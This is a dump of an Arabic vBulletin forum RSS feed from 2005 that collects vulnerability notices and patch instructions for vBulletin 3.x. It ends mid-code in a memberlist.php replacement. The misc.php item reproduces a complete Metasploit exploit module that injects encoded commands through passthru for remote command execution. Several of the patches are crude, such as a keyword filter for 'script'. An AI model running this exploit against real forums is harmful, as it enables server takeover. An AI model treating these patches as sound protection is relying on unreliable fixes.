ضع الملف المرفق بالمرفقات بدلا من الملف القديم ومنتداك راح يكون سليم ان شاء الله<br />
<br />
تحياتي</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=2908" target="_blank">
functions_faq.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  3.0 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11582</guid>
		</item>
		<item>
			<title><![CDATA[[ثغرة] مركز تحميل الصور + سد الثغره]]></title>
			<link>https://kwety.net/vb/showthread.php?t=11581&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:14:52 GMT</pubDate>
			<description><![CDATA[بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته


الى كل من لديه مركز

1 - تحميل الصور
2 - تحميل الملفات
3 - تحميل الأفلام <-------- هذا ما اعتبره ضروري


ان هناك سكربتات كثير يوجد بها ثغراة

تسمح للمخترقين بالتسلل الى السيرفر

وبأمكانهم رفع الشل shll

و أخذ نسخه احتياطيه لأي سكربت كالمنتدى او المجله .... الخ

================

فأتمنى من الجميع ان يضعو هذا الهاك الذي ارفقته بداخل مجلد الصور او الملفات

حتى لا يستطيع احد اختراقه

===============

ان برمجته سهله اضفت به الداله RemoveType حتى لاتعمل فايلات الهكر او الكراك وهي تنفع لمستخدمي سيرفر ليونكس اما عن wap serv فهي على الأرجح لا تعمل
وهو عباره عن جدار حمايه لفايلات المصرحه chmod 777

اتمنى من الجميع ذكر المصدر
والدعاء الصالح

ودمتم بخير

منقول من
فتى الأمارات]]></description>
			<content:encoded><![CDATA[<div>بسم الله الرحمن الرحيم<br />
<br />
السلام عليكم ورحمة الله وبركاته<br />
<br />
<br />
الى كل من لديه مركز<br />
<br />
1 - تحميل الصور<br />
2 - تحميل الملفات<br />
3 - تحميل الأفلام &lt;-------- هذا ما اعتبره ضروري<br />
<br />
<br />
ان هناك سكربتات كثير يوجد بها ثغراة<br />
<br />
تسمح للمخترقين بالتسلل الى السيرفر<br />
<br />
وبأمكانهم رفع الشل shll<br />
<br />
و أخذ نسخه احتياطيه لأي سكربت كالمنتدى او المجله .... الخ<br />
<br />
================<br />
<br />
فأتمنى من الجميع ان يضعو هذا الهاك الذي ارفقته بداخل مجلد الصور او الملفات<br />
<br />
حتى لا يستطيع احد اختراقه<br />
<br />
===============<br />
<br />
ان برمجته سهله اضفت به الداله RemoveType حتى لاتعمل فايلات الهكر او الكراك وهي تنفع لمستخدمي سيرفر ليونكس اما عن wap serv فهي على الأرجح لا تعمل<br />
وهو عباره عن جدار حمايه لفايلات المصرحه chmod 777<br />
<br />
اتمنى من الجميع ذكر المصدر<br />
والدعاء الصالح<br />
<br />
ودمتم بخير<br />
<br />
منقول من<br />
فتى الأمارات</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=2907" target="_blank">
wardeyat-hak-haking.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  613 بايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11581</guid>
		</item>
		<item>
			<title><![CDATA[[ثغره] بملف الـ misc.php]]></title>
			<link>https://kwety.net/vb/showthread.php?t=11580&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:08:19 GMT</pubDate>
			<description><![CDATA[السلام عليكم يا أعضاء ترايدنت

ثغره تمكنك من رفع شل على الموقع

وللترقيع 

مكتشف الثغره
str0ke

تاريخ: 2005-08-03


الكود


Code:
---------
##
#        Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
#    Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
#         Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
        'Version'  => '$Revision: 1.0 $',
        'Authors'  => [ 'str0ke' ],
        'Arch'     => [ ],
        'OS'       => [ ],
        'Priv'     => 0,
        'UserOpts' =>
          {
                'RHOST' => [1, 'ADDR', 'The target address'],
                'RPORT' => [1, 'PORT', 'The target port', 80],
                'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
                'SSL'   => [0, 'BOOL', 'Use SSL'],
          },

        'Description' => Pex::Text::Freeform(qq{
                This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),

        'Refs' =>
          [
                ['MIL', '832'],
          ],

        'Payload' =>
          {
                'Space' => 512,
                'Keys'  => ['cmd', 'cmd_bash'],
          },

        'Keys' => ['vBulletin'],
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $target_port    = $self->GetVar('RPORT');
        my $vhost          = $self->GetVar('VHOST') || $target_host;
        my $path           = $self->GetVar('RPATH');
        my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

        # Encode the command as a set of chr() function calls
        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the get request data
        my $data = "?do=page&template={\${passthru($byte)}}";

        my $req =
                "GET $path$data HTTP/1.1\r\n".
                "Host: $vhost:$target_port\r\n".
                "Content-Type: application/html\r\n".
                "Content-Length: ". length($data)."\r\n".
                "Connection: Close\r\n".
                "\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,
                'LocalPort' => $self->GetVar('CPORT'),
                'SSL'       => $self->GetVar('SSL'),
          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
                return;
        }

        $self->PrintLine("[*] Sending the malicious vBulletin Get request...");

        $s->Send($req);

        my $results = $s->Recv(-1, 20);
        $s->Close();

        return;
}

1;
---------
وللتوضيح اكثر
الثغره في ملف

misc.php

وانصح بحذف الملف]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم يا أعضاء ترايدنت<br />
<br />
ثغره تمكنك من رفع شل على الموقع<br />
<br />
وللترقيع <br />
<br />
مكتشف الثغره<br />
str0ke<br />
<br />
تاريخ: 2005-08-03<br />
<br />
<br />
الكود<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">##<br />
#&nbsp; &nbsp; &nbsp; &nbsp; Title: vBulletin &lt;= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit<br />
#&nbsp; &nbsp; Name: php_vb3_0_6.pm<br />
# License: Artistic/BSD/GPL<br />
#&nbsp; &nbsp; &nbsp; &nbsp;  Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.<br />
#<br />
#<br />
#&nbsp; - This is an exploit module for the Metasploit Framework, please see<br />
#&nbsp; &nbsp;  http://metasploit.com/projects/Framework for more information.<br />
##<br />
<br />
package Msf::Exploit::php_vb3_0_6;<br />
use base &quot;Msf::Exploit&quot;;<br />
use strict;<br />
use Pex::Text;<br />
use bytes;<br />
<br />
my $advanced = { };<br />
<br />
my $info = {<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Name'&nbsp; &nbsp;  =&gt; 'vBulletin &lt;= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Version'&nbsp; =&gt; '$Revision: 1.0 $',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Authors'&nbsp; =&gt; [ 'str0ke' ],<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Arch'&nbsp; &nbsp;  =&gt; [ ],<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'OS'&nbsp; &nbsp; &nbsp;  =&gt; [ ],<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Priv'&nbsp; &nbsp;  =&gt; 0,<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'UserOpts' =&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'RHOST' =&gt; [1, 'ADDR', 'The target address'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'RPORT' =&gt; [1, 'PORT', 'The target port', 80],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'VHOST' =&gt; [0, 'DATA', 'The virtual host name of the server'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'RPATH' =&gt; [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'SSL'&nbsp;  =&gt; [0, 'BOOL', 'Use SSL'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Description' =&gt; Pex::Text::Freeform(qq{<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; This module exploits a code execution flaw in vBulletin &lt;= 3.0.6.<br />
}),<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Refs' =&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['MIL', '832'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ],<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Payload' =&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Space' =&gt; 512,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'Keys'&nbsp; =&gt; ['cmd', 'cmd_bash'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'Keys' =&gt; ['vBulletin'],<br />
&nbsp; };<br />
<br />
sub new {<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $class = shift;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $self = $class-&gt;SUPER::new({'Info' =&gt; $info, 'Advanced' =&gt; $advanced}, @_);<br />
&nbsp; &nbsp; &nbsp; &nbsp; return($self);<br />
}<br />
<br />
sub Exploit {<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $self = shift;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $target_host&nbsp; &nbsp; = $self-&gt;GetVar('RHOST');<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $target_port&nbsp; &nbsp; = $self-&gt;GetVar('RPORT');<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $vhost&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = $self-&gt;GetVar('VHOST') || $target_host;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $path&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  = $self-&gt;GetVar('RPATH');<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $cmd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = $self-&gt;GetVar('EncodedPayload')-&gt;RawPayload;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; # Encode the command as a set of chr() function calls<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; # Create the get request data<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $data = &quot;?do=page&amp;template={\${passthru($byte)}}&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $req =<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;GET $path$data HTTP/1.1\r\n&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;Host: $vhost:$target_port\r\n&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;Content-Type: application/html\r\n&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;Content-Length: &quot;. length($data).&quot;\r\n&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;Connection: Close\r\n&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\r\n&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $s = Msf::Socket::Tcp-&gt;new(<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'PeerAddr'&nbsp; =&gt; $target_host,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'PeerPort'&nbsp; =&gt; $target_port,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'LocalPort' =&gt; $self-&gt;GetVar('CPORT'),<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'SSL'&nbsp; &nbsp; &nbsp;  =&gt; $self-&gt;GetVar('SSL'),<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($s-&gt;IsError){<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $self-&gt;PrintLine('[*] Error creating socket: ' . $s-&gt;GetError);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $self-&gt;PrintLine(&quot;[*] Sending the malicious vBulletin Get request...&quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $s-&gt;Send($req);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $results = $s-&gt;Recv(-1, 20);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $s-&gt;Close();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return;<br />
}<br />
<br />
1;</code><hr />
</div>وللتوضيح اكثر<br />
الثغره في ملف<br />
<br />
misc.php<br />
<br />
وانصح بحذف الملف</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11580</guid>
		</item>
		<item>
			<title>ثغرة ملف faq.php الأسئلة الشائعة و طريقة ترقيعها</title>
			<link>https://kwety.net/vb/showthread.php?t=11579&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:07:07 GMT</pubDate>
			<description><![CDATA[ثغرة ملف faq.php الأسئلة الشائعة و طريقة ترقيعها

كود php:



Code:
---------
// initialize some template bits
$faqbits = '';
$faqlinks = '';
---------
و أضف بعده الكود التالي :


كود php:


Code:
---------
$navbits[''] =$vbphrase['faq'];
---------

وشكرا]]></description>
			<content:encoded><![CDATA[<div>ثغرة ملف faq.php الأسئلة الشائعة و طريقة ترقيعها<br />
<br />
كود php:<br />
<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">// initialize some template bits<br />
$faqbits = '';<br />
$faqlinks = '';</code><hr />
</div>و أضف بعده الكود التالي :<br />
<br />
<br />
كود php:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$navbits[''] =$vbphrase['faq'];</code><hr />
</div><br />
وشكرا</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11579</guid>
		</item>
		<item>
			<title>ثغرة ملف editpost.php تعديل المشاركة و طريقة ترقيعها</title>
			<link>https://kwety.net/vb/showthread.php?t=11578&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:06:01 GMT</pubDate>
			<description><![CDATA[ثغرة ملف editpost.php تعديل المشاركة و طريقة ترقيعها

افتح ملف editpost.php و ابحث عن الكود :

كود php:


Code:
---------
$edit['title'] = trim($_POST['title']);
---------
و استبدله بالكود التالي :

كود php:


Code:
---------
$edit['title'] = trim(xss_clean($_POST['title']));
---------
و في نفس الملف أيضا في أول الملف قم بوضع الكود التالي بعد الكلمة <?php :


كود php:


Code:
---------
$title = addslashes($title);
if (strstr($title,"script") != NULL){
echo "Dont Play With Me Ok Man<br>vBulletin<br>note: use scr!pt";
exit;
}
---------

و احفظ الملف و ارفعه


وشكرا]]></description>
			<content:encoded><![CDATA[<div>ثغرة ملف editpost.php تعديل المشاركة و طريقة ترقيعها<br />
<br />
افتح ملف editpost.php و ابحث عن الكود :<br />
<br />
كود php:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$edit['title'] = trim($_POST['title']);</code><hr />
</div>و استبدله بالكود التالي :<br />
<br />
كود php:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$edit['title'] = trim(xss_clean($_POST['title']));</code><hr />
</div>و في نفس الملف أيضا في أول الملف قم بوضع الكود التالي بعد الكلمة &lt;?php :<br />
<br />
<br />
كود php:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$title = addslashes($title);<br />
if (strstr($title,&quot;script&quot;) != NULL){<br />
echo &quot;Dont Play With Me Ok Man&lt;br&gt;vBulletin&lt;br&gt;note: use scr!pt&quot;;<br />
exit;<br />
}</code><hr />
</div><br />
و احفظ الملف و ارفعه<br />
<br />
<br />
وشكرا</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11578</guid>
		</item>
		<item>
			<title>ثغرة ملف authorize.php للبيع و الشراء و طريقة ترقيعها</title>
			<link>https://kwety.net/vb/showthread.php?t=11577&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:05:12 GMT</pubDate>
			<description>السلام عليكم

ثغرة ملف authorize.php للبيع و الشراء و طريقة ترقيعها

ثغرة ملف authorize.php للبيع و الشراء و طريقة ترقيعها

هذا الملف هو ملف بيع و شراء مثل paypal و الطريقة طبعا هي حذفه نهائيا و لا توجد طريقة غيرها للآن و طبعا قم بحذفه لأنه لا يفيدك و هو موجود داخل مجلد subscriptions الموجود داخل مجلد منتداك الرئيسي

ننصح بحذفه

وشكرا</description>
			<content:encoded><![CDATA[<div>السلام عليكم<br />
<br />
ثغرة ملف authorize.php للبيع و الشراء و طريقة ترقيعها<br />
<br />
ثغرة ملف authorize.php للبيع و الشراء و طريقة ترقيعها<br />
<br />
هذا الملف هو ملف بيع و شراء مثل paypal و الطريقة طبعا هي حذفه نهائيا و لا توجد طريقة غيرها للآن و طبعا قم بحذفه لأنه لا يفيدك و هو موجود داخل مجلد subscriptions الموجود داخل مجلد منتداك الرئيسي<br />
<br />
ننصح بحذفه<br />
<br />
وشكرا</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11577</guid>
		</item>
		<item>
			<title>ثغرة ملف memberlist.php قائمة الأعضاء و طريقة ترقيعها</title>
			<link>https://kwety.net/vb/showthread.php?t=11576&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:03:26 GMT</pubDate>
			<description><![CDATA[السلام عليكم

 ثغرة ملف memberlist.php قائمة الأعضاء و طريقة ترقيعها

 ثغرة ملف memberlist.php قائمة الأعضاء و طريقة ترقيعها

من لوحة تحكم منتداك قم بإغلاقها كالتالي:
أ- اذهب إلى لوحة تحكم منتداك
ب- من خيارات المنتدى اذهب للخيار (قوائم الأعضاء و مشاهدة الهوية) و قم بالضغط على الخيار ( لا ) في أول الصفحة و احفظ العمل
نصيحتي هي أنك تحذف الكود من داخل الملف و تضع كود ملف index.php و هذا الأفضل بحيث أنه عندما يقوم أي واحد بالدخول للتقويم فينتقل تلقائيا للصفحة الرئيسية

ضع الكود هذا داخل الملف

memberlist.php 

الكود


Code:
---------
// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// #################### DEFINE IMPORTANT CONSTANTS #######################
define('NO_REGISTER_GLOBALS', 1);
define('THIS_SCRIPT', 'index');

// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array('holiday');

// get special data templates from the datastore
$specialtemplates = array(
	'userstats',
	'birthdaycache',
	'maxloggedin',
	'iconcache',
	'eventcache',
	'mailqueue'
);

// pre-cache templates used by all actions
$globaltemplates = array(
	'FORUMHOME',
	'forumhome_event',
	'forumhome_forumbit_level1_nopost',
	'forumhome_forumbit_level1_post',
	'forumhome_forumbit_level2_nopost',
	'forumhome_forumbit_level2_post',
	'forumhome_lastpostby',
	'forumhome_loggedinuser',
	'forumhome_moderator',
	'forumhome_pmloggedin',
	'forumhome_subforumbit_nopost',
	'forumhome_subforumbit_post',
	'forumhome_subforumseparator_nopost',
	'forumhome_subforumseparator_post'
);

// pre-cache templates used by specific actions
$actiontemplates = array();

// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once('./includes/functions_bigthree.php');
require_once('./includes/functions_forumlist.php');

// #######################################################################
// ######################## START MAIN SCRIPT ############################
// #######################################################################

// get permissions to view forumhome
if (!($permissions['forumpermissions'] & CANVIEW))
{
	print_no_permission();
}

// get forumid if set, otherwise set to -1
globalize($_REQUEST, array('forumid' => INT));

if (! is_array($foruminfo))
{
	$forumid = -1;
}
else
{
	// draw nav bar
	$navbits = array();
	$parentlist = array_reverse(explode(',', substr($foruminfo['parentlist'], 0, -3)));
	foreach ($parentlist AS $forumID)
	{
		$forumTitle = $forumcache["$forumID"]['title'];
		$navbits["forumdisplay.php?$session[sessionurl]f=$forumID"] = $forumTitle;
	}

	// pop the last element off the end of the $nav array so that we can show it without a link
	array_pop($navbits);

	$navbits[''] = $foruminfo['title'];
	$navbits = construct_navbits($navbits);
}

// ### WELCOME MESSAGE #################################################
if ($bbuserinfo['userid'])
{	// registered user
	$showmemberwelcome = true;
}
else
{	// guest
	$showmemberwelcome = false;
}

$today = vbdate('Y-m-d', TIMENOW, false, false);

// ### TODAY'S BIRTHDAYS #################################################
if ($vboptions['showbirthdays'])
{
	$birthdaystore = unserialize($datastore['birthdaycache']);
	if (!is_array($birthdaystore) OR ($today != $birthdaystore['day1'] AND $today != $birthdaystore['day2']))
	{
		// Need to update!
		require_once('./includes/functions_databuild.php');
		$birthdaystore = build_birthdays();
		DEVDEBUG('Updated Birthdays');
	}
	switch($today)
	{
		case $birthdaystore['day1']:
			$birthdays = $birthdaystore['users1'];
			break;

		case $birthdaystore['day2'];
			$birthdays = $birthdaystore['users2'];
			break;
	}
	// memory saving
	unset($birthdaystore);

	$show['birthdays'] = iif ($birthdays, true, false);
}
else
{
	$show['birthdays'] = false;
}

// ### TODAY'S EVENTS #################################################
if ($vboptions['showevents'])
{
	require_once('./includes/functions_calendar.php');

	$future = gmdate('n-j-Y' , TIMENOW + 43200 + (86400 * ($vboptions['showevents'] - 1)));
	$eventstore = unserialize($datastore['eventcache']);

	if (!is_array($eventstore) OR $future != $eventstore['date'])
	{
		// Need to update!
		require_once('./includes/functions_databuild.php');
		$eventstore = build_events();
		DEVDEBUG('Updated Events');
	}

	unset($eventstore['date']);
	$events = array();
	$eventcount = 0;
	foreach ($eventstore AS $eventid => $eventinfo)
	{
		$offset = iif (!$eventinfo['utc'], $bbuserinfo['tzoffset'], $bbuserinfo['timezoneoffset']);
		$eventinfo['dateline_from_user'] = $eventinfo['dateline_from'] + $offset * 3600;
		$eventinfo['dateline_to_user'] = $eventinfo['dateline_to'] + $offset * 3600;
		$gettime = TIMENOW - $vboptions['hourdiff'];
		$iterations = 0;

		if ($bbuserinfo['calendarpermissions']["$eventinfo[calendarid]"] & CANVIEWCALENDAR OR $eventinfo['holidayid'])
		{
			if ($eventinfo['userid'] == $bbuserinfo['userid'] OR $bbuserinfo['calendarpermissions']["$eventinfo[calendarid]"] & CANVIEWOTHERSEVENT OR $eventinfo['holidayid'])
			{
				while ($iterations < $vboptions['showevents'])
				{
					$todaydate = getdate($gettime);
					if (cache_event_info($eventinfo, $todaydate['mon'], $todaydate['mday'], $todaydate['year']))
					{
						if (!$vboptions['showeventtype'])
						{
							$events["$eventinfo[eventid]"][] = $gettime;
						}
						else
						{
							$events["$gettime"][] = $eventinfo['eventid'];
						}
						$eventcount++;
					}
					$iterations++;
					$gettime += 86400;
				}
			}
		}
	}

	if (!empty($events))
	{
		ksort($events, SORT_NUMERIC);
		foreach($events AS $index => $value)
		{
			$pastevent = 0;
			$pastcount = 0;
			unset($eventdates, $comma, $daysevents);
			if (!$vboptions['showeventtype'])
			{	// Group by Event // $index = $eventid
				unset($day);
				foreach($value AS $key => $dateline)
				{
					if (($dateline - 86400) == $pastevent AND !$eventinfo['holidayid'])
					{
						$pastevent = $dateline;
						$pastcount++;
						continue;
					}
					else
					{
						if ($pastcount)
						{
							$eventdates = construct_phrase($vbphrase['event_x_to_y'], $eventdates, vbdate($vboptions['dateformat'], $pastevent, false, true, false));
						}
						$pastcount = 0;
						$pastevent = $dateline;
					}
					if (!$day)
					{
						$day = vbdate('Y-n-j', $dateline, false, false);
					}
					$eventdates .= $comma . vbdate($vboptions['dateformat'], $dateline, false, true, false);
					$comma = ', ';
					$eventinfo = $eventstore["$index"];
				}
				if ($pastcount)
				{
					$eventdates = construct_phrase($vbphrase['event_x_to_y'], $eventdates, vbdate($vboptions['dateformat'], $pastevent, false, true, false));
				}



				if ($eventinfo['holidayid'])
				{
					$callink = "<a href=\"calendar.php?$session[sessionurl]do=getinfo&amp;day=$day\">" . $vbphrase['holiday_title_' . $eventinfo['varname']] . "</a>";
				}
				else
				{
					$callink = "<a href=\"calendar.php?$session[sessionurl]do=getinfo&amp;day=$day&amp;e=$eventinfo[eventid]&amp;c=$eventinfo[calendarid]\">$eventinfo[title]</a>";
				}
			}
			else
			{	// Group by Date
				$eventdate = vbdate($vboptions['dateformat'], $index, false, true, false);
				$day = vbdate('Y-n-j', $index, false, false);
